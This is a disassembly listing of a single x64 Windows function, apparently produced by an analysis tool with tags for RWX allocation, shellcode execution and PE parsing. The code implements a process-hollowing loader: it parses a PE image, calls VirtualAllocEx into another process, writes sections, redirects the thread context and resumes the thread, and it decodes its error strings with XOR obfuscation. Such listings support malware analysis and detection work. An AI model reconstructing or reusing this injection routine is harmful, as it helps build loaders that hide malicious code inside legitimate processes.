Function at 0x1800777a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xf0]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x60], xmm4
xor eax, eax
mov qword [rbp - 0x50], rax
mov rbx, rcx
mov rsi, qword [rbx + 0x10]
mov rax, rsi
cmp word [rax], 0x5a4d
je 0x1800777dd
xor ecx, ecx
jmp 0x1800777ee
movsxd rcx, dword [rax + 0x3c]
cmp word [rsi + rcx + 0x18], 0x20b
sete cl
movzx ecx, cl
mov byte [0x1801ed7a0], cl
xor edi, edi
xor r14d, r14d
movzx ecx, byte [0x1801ed7a0]
test ecx, ecx
jne 0x18007780f
movsxd rdi, dword [rax + 0x3c]
add rdi, rsi
mov ecx, dword [rdi]
jmp 0x180077819
movsxd r14, dword [rax + 0x3c]
add r14, rsi
mov ecx, dword [r14]
cmp ecx, 0x4550
jne 0x180078263
call fcn.18011a330
mov ecx, 0x60
mov edx, 0x40
cmp eax, 8
cmovne ecx, edx
call fcn.1800783b0
mov rsi, rax
call fcn.18011a330
mov ecx, 0x18
mov edx, 0x10
cmp eax, 8
cmovne ecx, edx
movsxd rcx, ecx
call fcn.1800bb020
mov qword [rbp - 0x40], rax
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rax
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbx + 8]
lea rdx, [0x180123a28]
xor r8d, r8d
xor r9d, r9d
call fcn.180078780
test eax, eax
je 0x180078170
test rsi, 0xffffffffffff0000
je 0x1800778de
mov rcx, rsi
mov qword [rbp - 0x98], rcx
lea rcx, [rbp - 0x88]
call fcn.1800060d0
mov rcx, qword [rbp - 0x98]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0x88]
call fcn.180006120
cmp byte [0x1801ed7a0], 0
je 0x1800778ed
mov rsi, qword [r14 + 0x30]
jmp 0x1800778f0
mov esi, dword [rdi + 0x34]
mov rax, qword [rbp - 0x40]
mov r15, qword [rax]
call fcn.18011a330
mov ecx, 8
mov edx, 4
cmp eax, 8
cmovne ecx, edx
movsxd rcx, ecx
mov rax, qword [rbp - 0x40]
mov r13, qword [rax + rcx]
mov rcx, r15
mov rdx, rsi
call fcn.180078970
test r15, r15
je 0x1800780be
test r13, r13
je 0x1800780be
movzx ecx, byte [0x1801ed7a0]
test ecx, ecx
je 0x18007794e
mov r8d, dword [r14 + 0x50]
mov r12d, dword [r14 + 0x54]
movzx eax, word [r14 + 6]
jmp 0x18007795a
mov r8d, dword [rdi + 0x50]
mov r12d, dword [rdi + 0x54]
movzx eax, word [rdi + 6]
mov dword [rbp - 0x44], eax
test ecx, ecx
je 0x180077967
mov r10d, dword [r14 + 0x28]
jmp 0x18007796b
mov r10d, dword [rdi + 0x28]
mov dword [rbp - 0x48], r10d
mov dword [rsp + 0x20], 0x40
mov rcx, r15
mov qword [rbp - 0x98], rcx
mov rdx, rsi
mov qword [rbp - 0xa0], rdx
mov dword [rbp - 0x8c], r8d
mov r9d, 0x3000
mov dword [rbp - 0x90], r9d
lea rcx, [rbp - 0x88]
call fcn.1800060d0
mov rcx, qword [rbp - 0x98]
mov rdx, qword [rbp - 0xa0]
mov r8d, dword [rbp - 0x8c]
mov r9d, dword [rbp - 0x90]
call sub.KERNEL32.dll_VirtualAllocEx
mov rbx, rax
lea rcx, [rbp - 0x88]
call fcn.180006120
mov rsi, qword [rbp + 0x10]
mov r8, qword [rsi + 0x10]
xor ecx, ecx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
mov rdx, rbx
mov r9d, r12d
call fcn.1800789e0
test eax, eax
jne 0x180078006
add r14, 0x108
add rdi, 0xf8
cmp byte [0x1801ed7a0], 0
cmove r14, rdi
xor edi, edi
mov r12d, dword [rbp - 0x44]
test r12d, r12d
jle 0x180077a6a
mov edx, dword [r14 + 0xc]
add rdx, rbx
mov r8, qword [rsi + 0x10]
mov ecx, dword [r14 + 0x14]
add r8, rcx
mov r9d, dword [r14 + 0x10]
xor ecx, ecx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
call fcn.1800789e0
test eax, eax
jne 0x180077f4e
add r14, 0x28
inc edi
cmp edi, r12d
jl 0x180077a2b
mov ecx, 0x4d0
mov eax, 0x2cc
cmp byte [0x1801ed7a0], 0
cmove ecx, eax
movsxd rcx, ecx
call fcn.1800bb020
mov rsi, rax
cmp byte [0x1801ed7a0], 0
jne 0x180077a9a
mov dword [rsi], 0x10002
jmp 0x180077aa1
mov dword [rsi + 0x30], 0x10001b
cmp byte [0x1801ed7a0], 0
je 0x180077abe
mov rcx, r13
mov rdx, rsi
call fcn.180078890
test eax, eax
jne 0x180077ad1
jmp 0x180077bd6
mov rcx, r13
mov rdx, rsi
call fcn.1800788f0
test eax, eax
je 0x180077ea0
mov edi, dword [rsi + 0xa4]
mov r14, qword [rsi + 0x88]
mov rcx, rbx
call fcn.18008a510
add r14, 0x10
add edi, 8
movsxd rcx, edi
cmp byte [0x1801ed7a0], 0
mov rdx, rcx
cmovne rdx, r14
mov ecx, dword [rax + 8]
mov r9d, ecx
xor r8d, r8d
mov qword [rbp - 0x60], r8
mov dword [rbp - 0x50], r8d
mov qword [rbp - 0x60], rax
test ecx, ecx
je 0x180077b20
add rax, 0x10
mov r8, rax
jmp 0x180077b23
xor r8d, r8d
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov rcx, r15
call fcn.1800789e0
test eax, eax
sete cl
movzx ecx, cl
xor edx, edx
mov qword [rbp - 0x60], rdx
test ecx, ecx
je 0x180077dee
cmp byte [0x1801ed7a0], 0
jne 0x180077b62
mov ecx, dword [rbp - 0x48]
add rcx, rbx
mov qword [rsi + 0xb0], rcx
jmp 0x180077b6f
mov ecx, dword [rbp - 0x48]
add rcx, rbx
mov qword [rsi + 0x80], rcx
cmp byte [0x1801ed7a0], 0
je 0x180077b8c
mov rcx, r13
mov rdx, rsi
call fcn.180078440
test eax, eax
jne 0x180077b9f
jmp 0x180077c88
mov rcx, r13
mov rdx, rsi
call fcn.1800784a0
test eax, eax
je 0x180077d3e
mov rcx, r13
mov qword [rbp - 0xa0], rcx
lea rcx, [rbp - 0x88]
call fcn.1800060d0
mov rcx, qword [rbp - 0xa0]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0x88]
call fcn.180006120
mov qword [rbp - 0x58], r15
jmp 0x18007822b
lea rcx, [0x180143178]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x2d
mov r8d, 0x7fffffff
call fcn.1800a90a0
xor esi, esi
lea rax, [0x180124a90]
movzx ecx, word [rax + rsi*2 + 0xc]
movabs rdx, 0x5b05b05b05b05b1
mov eax, esi
mul rdx
imul eax, edx, 0x2d
mov edx, esi
sub edx, eax
cmp edx, 0x2d
jae 0x180077d38
movabs rdx, 0x5b05b05b05b05b1
mov eax, esi
mul rdx
imul edx, edx, 0x2d
mov eax, esi
sub eax, edx
mov edx, eax
lea rax, [0x1801385b0]
movzx edx, word [rax + rdx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9680
inc esi
cmp esi, 0x2d
jl 0x180077bfa
mov rcx, rbx
call fcn.1800a9160
mov rbx, rax
lea rcx, [0x18013f740]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088190
mov rcx, rsi
call fcn.1800049c0
int3
lea rcx, [0x180143178]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x1c
mov r8d, 0x7fffffff
call fcn.1800a90a0
xor esi, esi
lea rdx, [0x180126550]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, esi
shr ecx, 2
imul rcx, rcx, 0x24924925
shr rcx, 0x20
imul ecx, ecx, 0x1c
mov eax, esi
sub eax, ecx
cmp eax, 0x1c
jae 0x180077d38
mov ecx, esi
shr ecx, 2
imul rcx, rcx, 0x24924925
shr rcx, 0x20
imul ecx, ecx, 0x1c
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x180139cb8]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9680
inc esi
cmp esi, 0x1c
jl 0x180077cac
mov rcx, rbx
call fcn.1800a9160
mov rbx, rax
lea rcx, [0x18013f740]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088190
mov rcx, rsi
call fcn.1800049c0
int3
call fcn.1800c49a0
int3
lea rcx, [0x180143178]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x1c
mov r8d, 0x7fffffff
call fcn.1800a90a0
xor esi, esi
lea rdx, [0x180124098]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, esi
shr ecx, 2
imul rcx, rcx, 0x24924925
shr rcx, 0x20
imul ecx, ecx, 0x1c
mov eax, esi
sub eax, ecx
cmp eax, 0x1c
jae 0x180077d38
mov ecx, esi
shr ecx, 2
imul rcx, rcx, 0x24924925
shr rcx, 0x20
imul ecx, ecx, 0x1c
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x180135c30]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9680
inc esi
cmp esi, 0x1c
jl 0x180077d62
mov rcx, rbx
call fcn.1800a9160
mov rbx, rax
lea rcx, [0x18013f740]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088190
mov rcx, rsi
call fcn.1800049c0
int3
lea rcx, [0x180143178]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x37
mov r8d, 0x7fffffff
call fcn.1800a90a0
xor esi, esi
lea rax, [0x180124468]
movzx ecx, word [rax + rsi*2 + 0xc]
movabs rdx, 0x4a7904a7904a791
mov eax, esi
mul rdx
imul eax, edx, 0x37
mov edx, esi
sub edx, eax
cmp edx, 0x37
jae 0x180077d38
movabs rdx, 0x4a7904a7904a791
mov eax, esi
mul rdx
imul edx, edx, 0x37
mov eax, esi
sub eax, edx
mov edx, eax
lea rax, [0x180138a48]
movzx edx, word [rax + rdx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9680
inc esi
cmp esi, 0x37
jl 0x180077e12
mov rcx, rbx
call fcn.1800a9160
mov rbx, rax
lea rcx, [0x18013f740]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088190
mov rcx, rsi
call fcn.1800049c0
int3
lea rcx, [0x180143178]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x32
mov r8d, 0x7fffffff
call fcn.1800a90a0
xor esi, esi
lea rdx, [0x180123e30]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, esi
imul rcx, rcx, 0x51eb851f
shr rcx, 0x24
imul ecx, ecx, 0x32
mov eax, esi
sub eax, ecx
cmp eax, 0x32
jae 0x180077d38
mov ecx, esi
imul rcx, rcx, 0x51eb851f
shr rcx, 0x24
imul ecx, ecx, 0x32
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x18012da30]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9680
inc esi
cmp esi, 0x32
jl 0x180077ec4
mov rcx, rbx
call fcn.1800a9160
mov rbx, rax
lea rcx, [0x18013f740]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088190
mov rcx, rsi
call fcn.1800049c0
int3
lea rcx, [0x180143178]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x28
mov r8d, 0x7fffffff
call fcn.1800a90a0
xor esi, esi
lea rdx, [0x1801265a0]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, 0xcccccccd
mov eax, esi
imul rcx, rax
shr rcx, 0x25
lea ecx, [rcx + rcx*4]
shl ecx, 3
mov eax, esi
sub eax, ecx
cmp eax, 0x28
jae 0x180077d38
mov ecx, 0xcccccccd
mov eax, esi
imul rcx, rax
shr rcx, 0x25
lea ecx, [rcx + rcx*4]
shl ecx, 3
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x1801399d8]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9680
inc esi
cmp esi, 0x28
jl 0x180077f72
mov rcx, rbx
call fcn.1800a9160
mov rbx, rax
lea rcx, [0x18013f740]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088190
mov rcx, rsi
call fcn.1800049c0
int3
lea rcx, [0x180143178]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x28
mov r8d, 0x7fffffff
call fcn.1800a90a0
xor esi, esi
lea rdx, [0x180123f18]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, 0xcccccccd
mov eax, esi
imul rcx, rax
shr rcx, 0x25
lea ecx, [rcx + rcx*4]
shl ecx, 3
mov eax, esi
sub eax, ecx
cmp eax, 0x28
jae 0x180077d38
mov ecx, 0xcccccccd
mov eax, esi
imul rcx, rax
shr rcx, 0x25
lea ecx, [rcx + rcx*4]
shl ecx, 3
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x18012db28]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9680
inc esi
cmp esi, 0x28
jl 0x18007802a
mov rcx, rbx
call fcn.1800a9160
mov rbx, rax
lea rcx, [0x18013f740]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088190
mov rcx, rsi
call fcn.1800049c0
int3
lea rcx, [0x180143178]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x26
mov r8d, 0x7fffffff
call fcn.1800a90a0
xor esi, esi
lea rdx, [0x1801243e8]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, esi
shr ecx, 1
imul rcx, rcx, 0x6bca1af3
shr rcx, 0x23
imul ecx, ecx, 0x26
mov eax, esi
sub eax, ecx
cmp eax, 0x26
jae 0x180077d38
mov ecx, esi
shr ecx, 1
imul rcx, rcx, 0x6bca1af3
shr rcx, 0x23
imul ecx, ecx, 0x26
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x180137238]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9680
inc esi
cmp esi, 0x26
jl 0x1800780e2
mov rcx, rbx
call fcn.1800a9160
mov rbx, rax
lea rcx, [0x18013f740]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088190
mov rcx, rsi
call fcn.1800049c0
int3
lea rcx, [0x180143178]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x18
mov r8d, 0x7fffffff
call fcn.1800a90a0
xor esi, esi
lea rdx, [0x180125e20]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, 0xaaaaaaab
mov eax, esi
imul rcx, rax
shr rcx, 0x24
lea ecx, [rcx + rcx*2]
shl ecx, 3
mov eax, esi
sub eax, ecx
cmp eax, 0x18
jae 0x180077d38
mov ecx, 0xaaaaaaab
mov eax, esi
imul rcx, rax
shr rcx, 0x24
lea ecx, [rcx + rcx*2]
shl ecx, 3
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x180138bf0]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9680
inc esi
cmp esi, 0x18
jl 0x180078194
mov rcx, rbx
call fcn.1800a9160
mov rbx, rax
lea rcx, [0x18013f740]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088190
mov rcx, rsi
call fcn.1800049c0
int3
mov rcx, rsp
call fcn.18007836c
nop
mov rax, qword [rbp - 0x58]
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x180143178]
call fcn.180004450
mov rbx, rax
mov rcx, rbx
mov edx, 0x14
mov r8d, 0x7fffffff
call fcn.1800a90a0
xor esi, esi
lea rdx, [0x180123c58]
movzx edx, word [rdx + rsi*2 + 0xc]
mov ecx, 0xcccccccd
mov eax, esi
imul rcx, rax
shr rcx, 0x24
lea ecx, [rcx + rcx*4]
shl ecx, 2
mov eax, esi
sub eax, ecx
cmp eax, 0x14
jae 0x180078317
mov ecx, 0xcccccccd
mov eax, esi
imul rcx, rax
shr rcx, 0x24
lea ecx, [rcx + rcx*4]
shl ecx, 2
mov eax, esi
sub eax, ecx
mov ecx, eax
lea rax, [0x18012ed88]
movzx ecx, word [rax + rcx*2 + 0xc]
xor edx, ecx
mov rcx, rbx
call fcn.1800a9680
inc esi
cmp esi, 0x14
jl 0x180078287
mov rcx, rbx
call fcn.1800a9160
mov rbx, rax
lea rcx, [0x18013f740]
call fcn.180004450
mov rsi, rax
mov rcx, rsi
mov rdx, rbx
call fcn.180088190
mov rcx, rsi
call fcn.1800049c0
int3
call fcn.1800c49a0
int3